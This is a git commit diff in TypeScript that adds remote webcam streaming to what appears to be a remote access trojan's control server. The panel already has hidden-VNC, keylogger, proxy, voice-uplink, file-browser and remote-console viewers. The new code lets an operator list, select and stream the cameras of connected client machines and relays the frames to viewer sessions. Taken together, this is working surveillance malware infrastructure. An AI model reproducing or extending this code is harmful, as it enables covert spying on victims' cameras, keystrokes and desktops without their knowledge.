webcam
This commit is contained in:
@@ -72,6 +72,9 @@ import {
|
||||
handleConsoleViewerOpen,
|
||||
handleHVNCViewerMessage,
|
||||
handleHVNCViewerOpen,
|
||||
handleWebcamViewerMessage,
|
||||
handleWebcamViewerOpen,
|
||||
handleWebcamDevices,
|
||||
handleRemoteDesktopViewerMessage,
|
||||
handleRemoteDesktopViewerOpen,
|
||||
hvncStreamingState,
|
||||
@@ -79,6 +82,7 @@ import {
|
||||
notifyRdInputLatency,
|
||||
notifyRemoteDesktopStatus,
|
||||
rdStreamingState,
|
||||
webcamStreamingState,
|
||||
sendDesktopCommand,
|
||||
sendHVNCCommand,
|
||||
stopConsoleOnTarget,
|
||||
@@ -238,7 +242,7 @@ const notificationPluginHandlers = createNotificationPluginHandlers({
|
||||
savePluginState,
|
||||
});
|
||||
|
||||
type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "notifications_viewer";
|
||||
type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "notifications_viewer";
|
||||
|
||||
type PendingScript = {
|
||||
resolve: (result: any) => void;
|
||||
@@ -358,9 +362,11 @@ async function startServer() {
|
||||
pendingCommandReplies,
|
||||
rdStreamingState,
|
||||
hvncStreamingState,
|
||||
webcamStreamingState,
|
||||
getNotificationConfig,
|
||||
handleConsoleViewerOpen,
|
||||
handleRemoteDesktopViewerOpen,
|
||||
handleWebcamViewerOpen,
|
||||
handleHVNCViewerOpen,
|
||||
handleFileBrowserViewerOpen,
|
||||
handleProcessViewerOpen,
|
||||
@@ -370,6 +376,7 @@ async function startServer() {
|
||||
handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen,
|
||||
handleConsoleViewerMessage,
|
||||
handleRemoteDesktopViewerMessage,
|
||||
handleWebcamViewerMessage,
|
||||
handleHVNCViewerMessage,
|
||||
handleFileBrowserViewerMessage,
|
||||
handleProcessViewerMessage,
|
||||
@@ -395,6 +402,7 @@ async function startServer() {
|
||||
handlePluginEvent: notificationPluginHandlers.handlePluginEvent,
|
||||
handleNotification: notificationPluginHandlers.handleNotification,
|
||||
handleVoiceUplink,
|
||||
handleWebcamDevices,
|
||||
cleanupVoiceViewer,
|
||||
stopConsoleOnTarget,
|
||||
sendDesktopCommand,
|
||||
|
||||
@@ -12,6 +12,7 @@ export type MessageKind =
|
||||
| "status"
|
||||
| "plugin_event"
|
||||
| "notification"
|
||||
| "webcam_devices"
|
||||
| "notification_config";
|
||||
|
||||
export type Hello = {
|
||||
@@ -43,6 +44,11 @@ export type CommandType =
|
||||
| "input"
|
||||
| "remote_start"
|
||||
| "remote_stop"
|
||||
| "webcam_start"
|
||||
| "webcam_stop"
|
||||
| "webcam_list"
|
||||
| "webcam_select"
|
||||
| "webcam_set_fps"
|
||||
| "disconnect"
|
||||
| "reconnect"
|
||||
| "screenshot"
|
||||
@@ -108,6 +114,7 @@ export type FrameHeader = {
|
||||
format: "jpeg" | "webp" | "raw" | "h264";
|
||||
hash?: string;
|
||||
hvnc?: boolean;
|
||||
webcam?: boolean;
|
||||
};
|
||||
|
||||
export type Frame = { type: "frame"; header: FrameHeader; data: Uint8Array };
|
||||
@@ -116,6 +123,18 @@ export type Status = {
|
||||
state: "idle" | "streaming" | "error";
|
||||
detail?: string;
|
||||
};
|
||||
|
||||
export type WebcamDevice = {
|
||||
index: number;
|
||||
name: string;
|
||||
maxFps?: number;
|
||||
};
|
||||
|
||||
export type WebcamDevices = {
|
||||
type: "webcam_devices";
|
||||
devices: WebcamDevice[];
|
||||
selected: number;
|
||||
};
|
||||
export type ConsoleOutput = {
|
||||
type: "console_output";
|
||||
sessionId: string;
|
||||
|
||||
@@ -88,6 +88,30 @@ export async function handlePageRoutes(
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/webcam") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
|
||||
const clientId = (url.searchParams.get("clientId") || "").trim();
|
||||
if (!canAccessClientPage(user.userId, user.role, clientId)) {
|
||||
return new Response("Forbidden: Client access denied", { status: 403 });
|
||||
}
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/webcam.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("webcam.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/hvnc") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
|
||||
@@ -29,9 +29,11 @@ type WsLifecycleDeps = {
|
||||
pendingCommandReplies: Map<string, PendingCommandReply>;
|
||||
rdStreamingState: Map<string, unknown>;
|
||||
hvncStreamingState: Map<string, unknown>;
|
||||
webcamStreamingState: Map<string, unknown>;
|
||||
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
|
||||
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleWebcamViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleHVNCViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
@@ -41,6 +43,7 @@ type WsLifecycleDeps = {
|
||||
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleWebcamViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleHVNCViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
@@ -67,6 +70,7 @@ type WsLifecycleDeps = {
|
||||
handlePluginEvent: (clientId: string, payload: any) => void;
|
||||
handleNotification: (clientId: string, payload: any) => void;
|
||||
handleVoiceUplink: (clientId: string, payload: any) => void;
|
||||
handleWebcamDevices: (clientId: string, payload: any) => void;
|
||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||
@@ -82,6 +86,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
|
||||
const ip = ws.data.ip;
|
||||
if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws);
|
||||
if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws);
|
||||
if (role === "webcam_viewer") return deps.handleWebcamViewerOpen(ws);
|
||||
if (role === "hvnc_viewer") return deps.handleHVNCViewerOpen(ws);
|
||||
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
|
||||
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
|
||||
@@ -140,6 +145,7 @@ export function handleWebSocketMessage(
|
||||
const socketRole = ws.data.role as string;
|
||||
if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message);
|
||||
if (socketRole === "rd_viewer") return deps.handleRemoteDesktopViewerMessage(ws, message);
|
||||
if (socketRole === "webcam_viewer") return deps.handleWebcamViewerMessage(ws, message);
|
||||
if (socketRole === "hvnc_viewer") return deps.handleHVNCViewerMessage(ws, message);
|
||||
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
|
||||
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
|
||||
@@ -285,6 +291,9 @@ export function handleWebSocketMessage(
|
||||
case "voice_uplink":
|
||||
deps.handleVoiceUplink(info.id, payload);
|
||||
break;
|
||||
case "webcam_devices":
|
||||
deps.handleWebcamDevices(info.id, payload);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
@@ -332,6 +341,26 @@ export function handleWebSocketClose(
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "webcam_viewer") {
|
||||
let removedClientId = clientId;
|
||||
for (const [sid, sess] of sessionManager.getAllWebcamSessions().entries()) {
|
||||
if (sess.viewer === ws) {
|
||||
removedClientId = sess.clientId;
|
||||
sessionManager.getAllWebcamSessions().delete(sid);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
const stillViewing = Array.from(sessionManager.getAllWebcamSessions().values()).some((s) => s.clientId === removedClientId);
|
||||
if (!stillViewing) {
|
||||
const target = clientManager.getClient(removedClientId);
|
||||
deps.sendDesktopCommand(target, "webcam_stop", {});
|
||||
deps.webcamStreamingState.delete(removedClientId);
|
||||
logger.debug(`[webcam] cleaned up state for client ${removedClientId}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "hvnc_viewer") {
|
||||
let removedClientId = clientId;
|
||||
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
|
||||
|
||||
@@ -91,6 +91,24 @@ export async function handleWsUpgradeRoutes(
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const webcamMatch = url.pathname.match(/^\/api\/clients\/(.+)\/webcam\/ws$/);
|
||||
if (webcamMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = webcamMatch[1];
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "webcam_viewer", clientId, ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const fbMatch = url.pathname.match(/^\/api\/clients\/(.+)\/files\/ws$/);
|
||||
if (fbMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
|
||||
@@ -194,7 +194,7 @@ export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||
return;
|
||||
}
|
||||
safeSendViewer(ws, { type: "status", status: "connecting", sessionId });
|
||||
safeSendViewer(ws, { type: "status", status: "online", sessionId });
|
||||
}
|
||||
|
||||
export function notifyRemoteDesktopStatus(clientId: string, status: string, reason?: string) {
|
||||
@@ -385,6 +385,86 @@ function handleRemoteDesktopFrame(payload: any) {
|
||||
};
|
||||
|
||||
export const hvncStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number; codec: string }>();
|
||||
export const webcamStreamingState = new Map<string, { isStreaming: boolean; deviceIndex: number; fps: number; useMax: boolean }>();
|
||||
|
||||
export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const { clientId } = ws.data;
|
||||
const sessionId = uuidv4();
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.getAllWebcamSessions().set(sessionId, session);
|
||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||
return;
|
||||
}
|
||||
safeSendViewer(ws, { type: "status", status: "online", sessionId });
|
||||
sendDesktopCommand(target, "webcam_list", {});
|
||||
}
|
||||
|
||||
export function handleWebcamDevices(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getAllWebcamSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
safeSendViewer(session.viewer, payload);
|
||||
}
|
||||
}
|
||||
|
||||
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
const payload = decodeViewerPayload(raw);
|
||||
if (!payload || typeof payload.type !== "string") return;
|
||||
const { clientId } = ws.data;
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline" });
|
||||
return;
|
||||
}
|
||||
|
||||
const state = webcamStreamingState.get(clientId) || { isStreaming: false, deviceIndex: 0, fps: 30, useMax: false };
|
||||
switch (payload.type) {
|
||||
case "webcam_list":
|
||||
sendDesktopCommand(target, "webcam_list", {});
|
||||
break;
|
||||
case "webcam_select": {
|
||||
const index = Math.max(0, Number(payload.index) || 0);
|
||||
state.deviceIndex = index;
|
||||
webcamStreamingState.set(clientId, state);
|
||||
sendDesktopCommand(target, "webcam_select", { index });
|
||||
if (state.isStreaming) {
|
||||
sendDesktopCommand(target, "webcam_stop", {});
|
||||
sendDesktopCommand(target, "webcam_start", {});
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "webcam_set_fps": {
|
||||
if (state.isStreaming) {
|
||||
safeSendViewer(ws, { type: "status", status: "error", reason: "Stop stream before changing FPS" });
|
||||
break;
|
||||
}
|
||||
const fps = Math.max(1, Math.min(120, Number(payload.fps) || 30));
|
||||
const useMax = !!payload.useMax;
|
||||
state.fps = fps;
|
||||
state.useMax = useMax;
|
||||
webcamStreamingState.set(clientId, state);
|
||||
sendDesktopCommand(target, "webcam_set_fps", { fps, useMax });
|
||||
break;
|
||||
}
|
||||
case "webcam_start":
|
||||
if (!state.isStreaming) {
|
||||
sendDesktopCommand(target, "webcam_set_fps", { fps: state.fps, useMax: state.useMax });
|
||||
sendDesktopCommand(target, "webcam_start", {});
|
||||
state.isStreaming = true;
|
||||
webcamStreamingState.set(clientId, state);
|
||||
}
|
||||
break;
|
||||
case "webcam_stop":
|
||||
sendDesktopCommand(target, "webcam_stop", {});
|
||||
state.isStreaming = false;
|
||||
webcamStreamingState.set(clientId, state);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const { clientId } = ws.data;
|
||||
@@ -518,6 +598,16 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload
|
||||
return sent;
|
||||
};
|
||||
|
||||
(globalThis as any).__webcamBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||
let sent = false;
|
||||
for (const session of sessionManager.getAllWebcamSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
safeSendViewerFrame(session.viewer, bytes, header);
|
||||
sent = true;
|
||||
}
|
||||
return sent;
|
||||
};
|
||||
|
||||
const textDecoder = new TextDecoder();
|
||||
|
||||
export function handleConsoleViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
|
||||
@@ -12,6 +12,7 @@ import type {
|
||||
|
||||
const consoleSessions = new Map<string, ConsoleSession>();
|
||||
const rdSessions = new Map<string, RemoteDesktopViewer>();
|
||||
const webcamSessions = new Map<string, RemoteDesktopViewer>();
|
||||
const hvncSessions = new Map<string, RemoteDesktopViewer>(); // HVNC uses same structure as RD
|
||||
const fileBrowserSessions = new Map<string, FileBrowserViewer>();
|
||||
const processSessions = new Map<string, ProcessViewer>();
|
||||
@@ -48,6 +49,28 @@ export function addRdSession(session: RemoteDesktopViewer): void {
|
||||
rdSessions.set(session.id, session);
|
||||
}
|
||||
|
||||
export function addWebcamSession(session: RemoteDesktopViewer): void {
|
||||
webcamSessions.set(session.id, session);
|
||||
}
|
||||
|
||||
export function getWebcamSession(
|
||||
sessionId: string,
|
||||
): RemoteDesktopViewer | undefined {
|
||||
return webcamSessions.get(sessionId);
|
||||
}
|
||||
|
||||
export function deleteWebcamSession(sessionId: string): boolean {
|
||||
return webcamSessions.delete(sessionId);
|
||||
}
|
||||
|
||||
export function getWebcamSessionsByClient(clientId: string): RemoteDesktopViewer[] {
|
||||
return Array.from(webcamSessions.values()).filter((s) => s.clientId === clientId);
|
||||
}
|
||||
|
||||
export function getAllWebcamSessions(): Map<string, RemoteDesktopViewer> {
|
||||
return webcamSessions;
|
||||
}
|
||||
|
||||
export function getRdSession(
|
||||
sessionId: string,
|
||||
): RemoteDesktopViewer | undefined {
|
||||
|
||||
@@ -5,6 +5,7 @@ export type SocketRole =
|
||||
| ClientRole
|
||||
| "console_viewer"
|
||||
| "rd_viewer"
|
||||
| "webcam_viewer"
|
||||
| "file_browser_viewer"
|
||||
| "process_viewer"
|
||||
| "notifications_viewer"
|
||||
|
||||
@@ -140,7 +140,14 @@ export function handleFrame(info: ClientInfo, payload: any) {
|
||||
let sentToViewers = false;
|
||||
try {
|
||||
const globalAny: any = globalThis as any;
|
||||
if (header?.hvnc) {
|
||||
if (header?.webcam) {
|
||||
if (globalAny.__webcamBroadcast) {
|
||||
sentToViewers = globalAny.__webcamBroadcast(info.id, bytes, header);
|
||||
}
|
||||
if (sentToViewers) {
|
||||
return;
|
||||
}
|
||||
} else if (header?.hvnc) {
|
||||
if (globalAny.__hvncBroadcast) {
|
||||
sentToViewers = globalAny.__hvncBroadcast(info.id, bytes, header);
|
||||
}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "voice_viewer" | "notifications_viewer";
|
||||
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "voice_viewer" | "notifications_viewer";
|
||||
|
||||
export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"hello",
|
||||
@@ -24,6 +24,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"keylog_clear_result",
|
||||
"keylog_delete_result",
|
||||
"voice_uplink",
|
||||
"webcam_devices",
|
||||
]);
|
||||
|
||||
export function isAllowedClientMessageType(type: string): boolean {
|
||||
|
||||
Reference in New Issue
Block a user